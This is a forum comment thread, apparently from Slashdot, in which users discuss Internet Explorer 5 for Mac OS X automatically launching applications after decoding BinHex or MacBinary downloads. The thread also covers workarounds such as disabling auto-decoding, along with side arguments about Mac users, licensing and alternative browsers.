What's so huge about that? If I click on a .exe file using IE, it also starts automagically. I don't understand what all the fuss is about.

Simple solution

[Tassach]

• create an ie user account & group
• add all your real users to the ie group
• set the setuid bit on the ie executable
• move everything that ie needs to be able to write into it's own directory; chown everything in that directory to ie (preferably on a filesystem that's mounted with noexec & nosetuid).
• Make everything in this directory group-writable so that normal users can use it without difficulty
• make sure that you don't have anything important that's world-writable or -readable

for the extra paranoid, set up a chroot jail for it

Doing it this way, IE will always run as an unprivilidged user. If it does execute any rogue code, it will also be run as the unprivilidged user, and will therefore be constrained to the sandbox you set up for it.

Re:Simple solution

[Mr Bubble]

Much more simple solution:

In Explorer preferences, uncheck the boes to automatically decode the .bin and.hqx files.

That way, stuffit expander will handle the decoding and will not automatically launch the resulting binary.

Re:Simple solution

[Tassach]

Disabling the feature will protect you against THIS attack. Running IE suid as an unpriviliged user will protect you against FUTURE, unknown attacks as well.

Re:Here's the fix (no sarcastic anti-MS comment he

[kootch]

I don't really understand the problem... it's only un-binhexing the files... it's not executing them. So I take a file and stuff it or binhex it... and when they download it it automatically decodes it. Fine. Then the application is sitting on the desktop (or wherever it's been downloaded to). It hasn't been executed, only decoded. The user still needs to click on it to execute it.

This isn't a BIG SECURITY HOLE. Hell, I still wouldn't consider it a security hole, nor would I change the setting to non auto decode. To execute it I would still have to doubleclick on the icon.

Even logged in as an "Administrator"

[SkimTony]

In MacOS X, even though my user account has "Administrator" privledges on my system, when I want to change certain preferences or install software that requires access to /System, I'm prompted to enter my password again. Mac users don't regard being prompted for a password on their systems lightly, so this will probably set a red-flag for most people. Basically, root-level exploits won't be helped all that much. Besides which, you downloaded the application - and you weren't planning on executing it?

BUZZ Thank you for playing.

[Umrick]

Nice fud.

A user must authenticate to NetInfo before making changes, they can't just waltz in and edit.

Only the first user created is flagged as Administrator by default, any additional users need to be flagged as such if you intend to let them control the machine.

OS X is actually fairly secure, but not obnoxiously so out of the box. If I want, as Admin, I can set up a laptop such that Joe user can edit network configs, etc, but lock down other capabilites as I wish.

This probably violates my NDA, but....

[Lagos]

I used to work in the MacBU at Microsoft and my officemate was on the Mac IE team.

One day we were experimenting with the download behavior of IE, and I noticed the problem. We discussed it and later brought it up to the higher ups on the team during lunch (The food in the Silicon Valley Campus Café is much better than Redmond's by the way):

"If a malicious web site designer were to use some method of redirection to get the browser to download a .hqx binary, the user might not even know that IE was downloading unless they watched the download manager very closely," I said. I believe some other members of the team had already noticed the problem as well.

We all agreed this was a serious security hole and it is being fixed in the next release.

In the meantime, you can turn off the "Automically decode BinHex files" under Download Options in the Explorer Preferences. We tested Mac IE's behavior with MacBinary files and there is no security hole there.

How did this bug slip by the team? Well, I am not on the IE team, so I couldn't say for certain. I believe the problem is that after IE uses its own .hqx decoding functionality, it should try to process the resulting file. This is good as it allows one to download and unstuff a .sit.hqx archive automatically.

Somehow this behavior was fubared, however: Instead of passing the file back through IE's file helper layer, it was apparently opened directly. This has acceptable behavior if the file downloaded was happyapp.sit.hqx, but not-so-acceptable behavior if the file downloaded is evilevilapp.hqx.

Anyway, someone clearly messed up. We're very sorry. Or rather, they are since I probably won't get rehired after this message.

--
Lagos
Gentle Bunny

Re:Well!

[arkanes]

I'd be really impressed if a company accuratley predicted the number of NT client licences it needed 5 years in advance, and was willing to cough up cash for licences it didn't need then but might 5 years in the future. Especially as there was no reasonable expectation that MS would discontinue support for the old licensing model in favor of the new subscription/money-gouging model.

Re:Not M$

[Winged Cat]

I never said they were efficient about it or good at it, just that they do it. Much like wannabe Borg, in fact.

Re:Intrinsic Security in OS X - It's even worse...

[MrResistor]

Apparently you haven't seen any of the Mac TV ads. The unfortunate truth is that Macs are marketed towards people who don't know anything about computers and don't want to know anything about them. Mac's are currently being marketed as appliances, just plug it in and go. The target market for these ads are not people who will muck about in user permissions, which is why it's so horrible that they would have such bad default security settings.

I wish I did know a savvy Mac user in my area. I'm not one and I feel bad when my Mac using friends need help.

I'm sorry you find the truth about Apples advertising strategy inflamatory.

What is hilarious..

[Sheepdot]

Stuffit expander already unzips/decodes files.

Stuffit expander does not *run* the application, **BUT** what exactly is the next thing that someone does once they download said item?

Unless they are downloading trojans or viruses in a compressed format, this is actually cutting out an extra step.

And to be completely honest, if you think users are going to *hate* this, you need to hang around Mac consumers a bit more often.

And finally, I challenge any of you here to come up with a Mac trojan that works on OS X. If you can, and post a URL within the next 5 days, I'll click on it with our OSX IE5 Macintosh at work.

I'd like to see people actually start creating viruses for the Mac. It'd make my job more important.

Re:Not M$

[binarybits]

Have you ever actually *used* IE 5 for Mac? It's a damn good browser-- better than anything Netscape makes and on par with IE 5.5 for Windoze. In a lot of ways it's better than IE 5.5-- it's more standards compliant, and isn't full of proprietary hooks into the OS like it is with Windoze.

Microsoft might not pour as much money into IE for Mac as it does for Windows, but it certainly isn't a bad browswer. IMHO it's the best browser on the Mac platform.

New Ad campaign for M$

[e.m.rainey]

"M$, an equal opportunity platform security breach."

I think what it boils down to here is that trusting your security to a company will always leave you vulnerable because a company's best interest only *sometimes* is with you the user. A companies formost interest is money for themselves and their stockholders; any true capitalist such as myself with tell you this. If security happens to fall in line with that, then great, but don't ever solely rely on it.

Don't implicitly trust a company with your security, ever.

Trust yourself and trust the code that you can read. Trust no one else.

Oh and don't misconstrue my opinions for those of my employer.

Re:Well!

[DrSkwid]

but not only 'not support' but new users 'cannot be added'

at least with free software Per Seat Licensing won't come up and bite me when the next version is out

Confusion

[overunderunderdone]

There are a lot of comments here that are confusing the issue. The bug report is NOT that IE is decoding binhex files - most mac browsers have always done this automatically, and it is NOT by itself a security problem.

To quote the report:

I've noticed a very disturbing "feature" in my copy of IE 5 for Mac OS X 10.1 5G48.. When it downloads some programs (namely, applications that have been encoded with MacBinary), it de-.bins them as it downloads, which is normal, but after the file is downloaded IE runs the application!

Here's another interesting report from Macintouch about the behaviour of the preferences:

Interestingly, the checkboxes appear to control only IE's internal decoding engine. Switching them off does *not* stop decoding from happening -- it simply hands the task over to Stuffit Expander (which will not automatically launch the decoded app, thankfully).

My theory is that Micro$oft assumes that .bin or .hqx files are encoded .sit files and after decoding them launches them - which if they ARE a .sit would launch Stuffit for decompressing. But even though they are USUALLY .sit files nothing says they have to be, if the file is actually an application rather than a .sit IE is launching that application.

Confusion

[overunderunderdone]

I posted this elsewhere but at the risk of being modded as redundant I'll mention it again.

The bug report is NOT that IE is decoding .hqx or .bin files - most mac browsers have always done this automatically, and it is NOT by itself a security problem.

To quote the report:

I've noticed a very disturbing "feature" in my copy of IE 5 for Mac OS X 10.1 5G48.. When it downloads some programs (namely, applications that have been encoded with MacBinary), it de-.bins them as it downloads, which is normal, but after the file is downloaded IE runs the application!

Here's another interesting report from Macintouch about the behaviour of the preferences:

Interestingly, the checkboxes appear to control only IE's internal decoding engine. Switching them off does *not* stop decoding from happening -- it simply hands the task over to Stuffit Expander (which will not automatically launch the decoded app, thankfully).

My theory is that Micro$oft assumes that .bin or .hqx files are encoded .sit files and after decoding them launches them - which if they ARE a .sit would launch Stuffit for decompressing. But even though they are USUALLY .sit files nothing says they have to be, if the file is actually an application rather than a .sit IE is launching that application.

IE for OSx not a final release.

[CuriousGeorge113]

I think one factor that many of you are overlooking is that IE5 for OSx is not a final release, but merely a preview release.

In other words, this is it's first round out the gate, there are bound to be bugs with it (as with any program when it's first released).

No big deal...

[rogueprocess]

I don't anticipate having any trouble from this, as I use Mozilla as my default browser on OS X. If I wnated to use M$ products, I would own a Windows machine, not an Apple.

ANOTHER security hole in IE for OS X!

[sjonke]

Make sure you also uncheck the "send all files to microsoft and then trash the hard drive" option in the preferences. Fortunately, only a dunderhead wouldn't think to look for that and uncheck it before using IE.

You might also want to uncheck the "auto-install child pornagraphy and 'accidentally' send email to the FBI offering them to come on by and pick up some free child porn" option.

Re:Intrinsic Security in OS X - It's even worse...

[kilgore_47]

"I'm sorry you find the truth about Apples advertising strategy inflamatory."

My "flaimbait" comment had nothing to do with Apple's advertising and a lot to do with your smug implication that savy mac users are few and far between. I'm one of those users, and I know a lot of others. I was insulted on a personal level, and a group level, by your baseless claim.

Also, about the advertising: The mac is marketed as a "supercomputer" as well as being easy to use. Apple is trying to appeal to a broad group of people. That doesn't exclude savy people, it just includes the computer-ignorant masses with them. Macs are marketed to everybody.

Re:Wait... does it run the software, or just decod

[Shadow Knight]

...you could read the article...

That would be too easy, as they say. Man... the one time I don't read the article, I end up looking like an idiot. Isn't that always the way?

When I set out to write my comment, I meant for it to actually ask the question, as I wasn't sure things were being interpreted correctly by the predominantly PC /. crowd. I suppose I should have read the article.

later,
Shadow Knight

Re:Intrinsic Security in OS X - It's even worse...

[MrResistor]

Perhaps you missed this part of the quote:

not syaing they don't exist, just that I don't know any

Savvy mac users are few and far between. I would wager that there is a higher percentage of savvy mac users than savvy wintel users in terms of base population, but the base user population for the mac is so much smaller that finding a savvy user is extremely difficult, especially for someone who is not a member of the mac community.

Re:Clueless Windows Users

[emurphy94108]

Saying that most Mac users are clueless is narrowing your view far too much. The vast majority of users of ANY consumer OS are clueless. Walk up to your average accounting department employee, secretary, attorney, sales rep, and ask them what version of Windows (e.g., 98, ME, 2000...I'm not even talking service pack numbers.) they run. 75% of the time they can't tell you. Or, they'll say something like "Umm...Windows 97?" Most Windows people I know can't even tell you what e-mail application they use. "Ummm...Explorer?"

I'm absolutely astonished how many long-time users of Windows (and Mac) systems have no real understanding of the way their filesystem works, and many have a pretty hazy understanding of the difference between files and folders (directories, for you *nix people), or why anyone would want to organize files into folders. I know of ENGINEERS who keep all their data files in the "MyFiles" folder on their Windows 2000 Professional workstation.

And to think..

[Ogerman]

Just a year ago, Linux folk were still clamoring that they wanted a port of IE. I'd say the latest Konqueror and Mozilla have been worth the wait.

Re:Clueless Windows Users

[MrResistor]

I never said that mac users are clueless. In fact I specifically allowed for clueful mac users in my origional post and further clarified my comment here. I did say that mac ads are targeted towards clueless users and people who are intimidated by technology. In short, not the kind of people who should be saddled with the kind of bad security described in the parent post.

I agree with your assessment of the average computer user, but the difference is that wintel and *nix vendors are not actively and directly courting the clueless user market like Apple has been for the last few years.

The fact still stands, though, that I have never met a clueful mac user (I do know a couple of mac-haters who know macs fairly well, but I felt it would be inflamatory to mention them before).

Re:Not M$

[Rakarra]

As evidence, take their uniformly poor attitude towards security...and their applying features from games to other software (one can get obsessed about a game and learn all its controls, and if it crashes, one can just pick up from the last save;

Fortunately, gamers' standards are much higher than that. You're more likely to find a logic non-crashing bug in a game than a crashing one. Gamers after all have multiple good options to choose from -- if they don't like what the PC world has to offer, they have excellent selections for the Playstation and N64, two platforms whose games almost never crash.

Re:Well!

[Jonathan C. Patschke]

It says I can't have any more users.

Read the EULA. You can purchase Windows 2000 seats through volume-licensing and "downgrade" the installation to NT 4. This applies to both the server and workstation editions.

Then, once you and your staff are trained on Windows 2000, you can upgrade, as you've already purchased the right (for n seats, anyway).

I don't know if this applies to shrinkwrap licenses, but that's how it is with volume licensing. Also, I think you can still get NT 4 media kits through the "easy fulfillment" program, if you're a volume-license customer.

I'm not carrying the Microsoft torch here or anything, but your statement is patently false. It is, however, what Microsoft wants you to believe, which is why they insinuate it, and only contradict it in the fine print.

Re:Well!

[DrSkwid]

ah, well there you go then problem solved.

Seattle must be a nightmare place to live.
Is everyone there so devious?

No wonder the radio station has a shrink on every day!

Re:Clueless Windows Users

[MrResistor]

One of those folks I mentioned works in tech support for Earthlink. Apparently Earthlink had some special deal for new iMac owners, and it was discovered that he knew as much about Macs as anyone else there. It was like they'd found his personal room in hell...

CSS issues

[TheInternet]

Omniweb does not have complete javascript support.

Or CSS support.

- Scott

The Problem with OmniWeb

[TheInternet]

I do occasionally use IE, when hitting one of those pages designed by MS only shops, but most of my browsing time is in OmniWeb [omnigroup.com] (www.omnigroup.com). Problem solved.

OmniWeb has incomplete and broken CSS support, and JavaScript has issues as well. It simply cannot render modern pages. This creates major headaches for site authors, and encourages poor page design (nested tables, font tags, single pixel spacers, etc.). This sends the web backwards.

Fortunately, OmniGroup is rewriting their rendering engine for 5.0, to be released sometime next year. But in the meantime, more and more sites are using CSS.

There are occassions when sites are aimed specifically at IE to OmniWeb's detriment, but these are far less common than most people think.

As a company, though, OmniGroup is great.

- Scott

What were the others?

[TheInternet]

ANOTHER security hole in IE for OS X!

What were the others? I don't remember hearing about any other security issues in MacIE for OS X.

- Scot